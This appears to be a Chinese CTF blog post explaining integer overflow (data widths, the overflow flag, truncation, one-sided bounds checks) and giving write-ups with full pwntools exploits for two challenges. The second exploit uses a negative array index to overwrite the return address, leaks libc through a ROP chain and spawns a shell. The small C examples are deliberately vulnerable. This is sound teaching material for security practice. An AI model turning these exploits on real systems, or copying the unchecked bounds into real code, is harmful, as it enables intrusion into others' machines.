0%

整数溢出总结

整数溢出总结

最近遇到个很有意思的题目, 顺便总结下整数溢出吧

谈整数溢出,不谈数据宽度的都是耍流氓, 所以先说下数据宽度

数据宽度

记住圆圈,

image-20200502205418315

数据类型单位(bit)
byte 字节8
word 字16
dword 双字32
qword 四字64

内存中只存0和1,没有正负数只分,正负数是人为分开的

这里可以看到这些图,很形象的把数据宽度表示出来了,

假设为有符号数, 32位宽度:

圈的右半边便为正数,左半边便为负数

正数最大为0x7fff ffff, 最小为0(数学上不归纳为正数,这里将其包括了) , 负数最大为0xffff ffff , 最小为0x8000 0000

假设无符号数, 32位宽度:

则整个圈都可以用,从0到0xFFFF FFFF

再从标志寄存器OF来说下

溢出标志OF(Overflow Flag)

进位标志表示无符号数运算结果是否超出范围
溢出主要是给有符号运算使用

  • 正+正=正 如果结果是负数,则说明溢出了
  • 负+负=负 如果结果是整数,则说明溢出了
  • 正+负 永远不会溢出

理解那个圈,那个圈挺有用的

这里以8位宽度举例说明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
1. 无符号,有符号都不溢出
mov al,8
add al,8

2. 无符号溢出,有符号不溢出

mov al,0ff
add al,2

无符号超过了,溢出,有符号,-1+2 = 1肯定不溢出

3. 无符号不溢出,有符号溢出

mov al,7f
add al,2

有符号,7f和2都是正数,+过后变成负数了,所以溢出了

4. 无符号,有符号都溢出

mov al,0fe
add al,80

fe负数,80负数 加起来是正数,
无符号,也溢出了,超过最大的ff了

整数溢出情形

类型转换

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdio.h>

int main()
{
long long a;
sscanf("0x7fffffff12345678", "%x", &a);
printf("%lx", a);
return 0;
}

这里我用sscanf替代scanf作为输入,方便测试,这里可以看到, 我们定义了个64位的变量,却用32位的输入,实际情形中应该类似于这样

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <stdio.h>

int main()
{
long long a;
//sscanf("0x7fffffff12345678", "%x", &a);
scanf("%d", &a);
printf("%lx", a);
return 0;
}

实际当然会更复杂,我只是说明类型转换截断的问题

这里的结果应该为12345678, 因为高位的数据被丢弃了,默认以小端存储,取低位

image-20200428164011045

结果也是如此

在后面练习第一道中会体现出来

单向范围限制

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdio.h>
#include <unistd.h>

int main()
{
int a;
char buf[10];
scanf("%d", &a);
if( a < 0x78 )
read(0, buf, a);
return 0;
}

这种在ctf里经常出现的一种, 只限制单向范围, 造成了负数绕过,打到溢出的目的,

我们输入-1便可以绕过了

image-20200428170942175

这里可以看到bytes变成很大,这里太大无法输入,编译为32位就可以了

image-20200428171515711

image-20200428171530172

已经溢出了

练习

360-半决赛-pwn2

这道题看着贼简单,打比赛的时候也不会做,细心想了下,我是傻逼,这道题流程很简单

1
2
3
4
5
6
7
8
9
10
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(*&argc, argv, envp);
if ( bypass1() && bypass2() )
system("cat ./flag");
else
puts("failed!");
return 0;
}

过了两个判断就拿到flag了

bypass第一个判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
signed __int64 bypass1()
{
int v1; // [rsp+8h] [rbp-38h]
int v2; // [rsp+Ch] [rbp-34h]
char buf; // [rsp+10h] [rbp-30h]
char s; // [rsp+20h] [rbp-20h]
unsigned __int64 v6; // [rsp+38h] [rbp-8h]

v6 = __readfsqword(0x28u);
memset(&s, 0, 0x10uLL);
puts("x: ");
read(0, &s, 0x10uLL);
puts("y: ");
read(0, &buf, 0x10uLL);
if ( strchr(&s, '-') || strchr(&buf, '-') )
return 0LL;
v1 = atoi(&s);
v2 = atoi(&buf);
if ( v1 > 0x167 || v2 > 0x167 || v1 - v2 != 0x168 )
return 0LL;
puts("level1 success!");
return 1LL;
}

看着很简单,不能输入负数,然后两个数要求小于167,相减又要等于168,常规思路肯定是不行的,想想
-0x1 - (-0x169) = 0x168

这是我第一次做的时候想到的,然后实际上是误打误撞做出来的,做出来后我发觉那会不理解这道题,就重新理了下思路,发觉还是有可以学习的地方的

  1. 程序限制了不能输入负数

  2. 限制了大小

  3. 还有注意一点v1跟v2是int 4字节的,atoi转超过int最大的数值的话,会发生截断,只保留后低四个字节的值
    假设输入的是0x7FFFFFFFF 7个F他只会取到后面的0xFFFFFFFF
    所以限制输入不能带-号,而实际上内存里存值是只分大小的,所以我存0xFFFFFFFF 按有符号处理的话就是-1

  4. s串跟buf串是相邻的,填满了buf的话,会将s里的值也一起传递过来,一起转成数字,就变成一个比较大的数了

坑点: atoi函数遇到\n会停止,没有遇到就继续。。原来我用sendafter一直不行,坑了我好久

最后我用0x167-(-1)绕过了这个判断
就是输入0x167跟0x7FFFFFFFF,绕过这个判断

bypass第二个判断

1
2
3
4
5
6
7
8
9
10
11
12
13
_BOOL8 bypass2()
{
int v1; // [rsp+0h] [rbp-10h]
int v2; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
v1 = 0;
v2 = 0;
puts("Please input x and y:");
__isoc99_scanf("%d %d", &v1, &v2);
return v1 > 1 && v2 > 360 && v1 * v2 == 360;
}

这个的话,也是利用溢出绕过,说下怎么求溢出的吧,口算也可以的嘞,不过脚本能跑就不动脑了

我要达到的数值是00000168,为任意数值,反正后4个字节得是0x168,跑一下

1
2
3
4
#!/usr/bin/env python
# coding=utf-8
for i in range(1,20):
print(i, 0x100000168/float(i))

结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
(1, 4294967656.0)
(2, 2147483828.0)
(3, 1431655885.3333333)
(4, 1073741914.0)
(5, 858993531.2)
(6, 715827942.6666666)
(7, 613566808.0)
(8, 536870957.0)
(9, 477218628.4444444)
(10, 429496765.6)
(11, 390451605.09090906)
(12, 357913971.3333333)
(13, 330382127.38461536)
(14, 306783404.0)
(15, 286331177.06666666)
(16, 268435478.5)
(17, 252645156.2352941)
(18, 238609314.2222222)
(19, 226050929.2631579)

我选的要是不带小数的,我看着8吉利就选了他了,
所以输入为8跟536870957

所以最后可以拿到flag了

1
2
3
4
[*] Process './5b7420a5bcdc1da85bccc62dcea4c7b8' stopped with exit code 0 (pid 16098)
[DEBUG] Received 0x27 bytes:
'cat: ./flag: No such file or directory\n'
cat: ./flag: No such file or directory

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
local = True

# Set up pwntools for the correct architecture
exe = '5b7420a5bcdc1da85bccc62dcea4c7b8'
elf = context.binary = ELF(exe)

host = '127.0.0.1'
port = 10000

#don't forget to change it
context.log_level = 'debug'
libc = elf.libc
if local:
io = process(exe)
else:
io = remote(host,port)

s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
ru = lambda delim,drop=True : io.recvuntil(delim, drop)

uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
#===========================================================
# EXPLOIT GOES HERE
#===========================================================

# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
def exp():
sla("x: \n", str(0x167))
sla("y: \n", str(0x7ffffffff))
#sl(str(0x7ffffe98) + " " + str(0x7fffffff))
sl(str(0x8) + " " + str(536870957))
if __name__ == '__main__':
exp()
io.interactive()

buuoj-arr_sun_2016

非常有意思的一道整数溢出, 题目看上去很简单,唯一有可能出错的就是这里

image-20200428162056065

这里注意,她有个判断 v1 > 9 ,这里是明显的有问题的,单向单位限制,

我输入负数便可以绕过了,可这里不能直接绕,还得利用负数的溢出,还记得那个圈吗,那个数据宽度的圈,我们要利用负数来溢出,达到正数的效果

image-20200428171910626

看到这里我们需要的是 ebp+eax*4-0x30这里变成 ebp+4

也就是0x34- eax*4 = 0 所以eax=0xd, 我们的圈,负数在左半边,正数在右半边,他们总的为0xffff ffff + 1 = 0x1000 0000 0

我们这里同时需要高位为0, *4这个可以让我们达到, 0x4 *4 为0 ,0x8也是,这里我们选了0x8,

1
2
>>> hex(0x100000000-0x8000000d)
'0x7ffffff3'

我们利用-0x7fff fff3 就可以变成0x8000 000d 因为整个圈是总的,合起来为0x1000 0000 0

这样就可以覆盖到返回地址了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 0
link = 'node3.buuoj.cn:25724'
host,port = map(str.strip, link.split(':')) if link != '' else ("",0)
context.log_level = 'debug'
#context.terminal = "/home/noone/hyperpwn/hyperpwn-client.sh"
context.terminal = ['mate-terminal','--geometry=94x60--10-26','--hide-menubar', '-x','sh','-c',]
exe = './arr_sun_2016'
context.binary = exe
elf = ELF(exe)
libc = elf.libc


#don't forget to change it
if local:
io = process(exe)
else:
io = remote(host,port)

s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline().strip()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s--> 0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(io,"b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
try:
import subprocess
except Exception as e:
print("subprocess not install")
exit(0)
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))



#===========================================================
# EXPLOIT GOES HERE
#===========================================================

# Arch: i386-32-little
# RELRO: No RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x8048000)

def get_index(offset):
return -(0x100000000-0x80000000-(0x34/4)-offset)

def rop(addr):
length = len(addr)
for i in range(length):
sla("index\n", get_index(i))
sla("value\n", addr[i])
for i in range(10-length):
sla("index\n", 0)
sla("value\n", 0)
ru("0 0 0 0 0 0 0 0 0 0 ")

def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)

#ga("b *0x08048623\nc")
sla("you? \n", "NoOne")
rop([
elf.plt['puts'],
0x8048592,
elf.got['__libc_start_main'],
])
leak_addr = uu32(r(4))
try:
from LibcSearcher import *
except Exception as e:
print("LibcSearcher not install")
exit(0)
obj = LibcSearcher("__libc_start_main",leak_addr)
libc_base = leak_addr - obj.dump("__libc_start_main")
system_addr = libc_base + obj.dump("system")
malloc_hook = libc_base + obj.dump("__malloc_hook")
free_hook = libc_base + obj.dump("__free_hook")
bin_sh_addr = libc_base + obj.dump("str_bin_sh")
libc_base = leak_addr - libc.sym['__libc_start_main']
lg("libc", libc_base)
ga("b *0x08048623\nc")
#system_addr = libc_base + libc.sym['system']
#bin_sh_addr = libc_base + libc.search("/bin/sh").next()
lg("bin_sh", bin_sh_addr)
rop([
0x8048430,
0x8048592,
-(0x100000000-bin_sh_addr)
])
ia()

if __name__ == '__main__':
exp(host,)

总结

  1. 整数溢出危害很大,由整数溢出可以达到堆溢出,栈溢出
  2. 在金额限制部分更是如此, 我出过一个赌钱游戏,就是利用负数赌钱拿到flag的

本文作者:NoOne
本文地址https://noonegroup.xyz/posts/d909e7a0/
版权声明:转载请注明出处!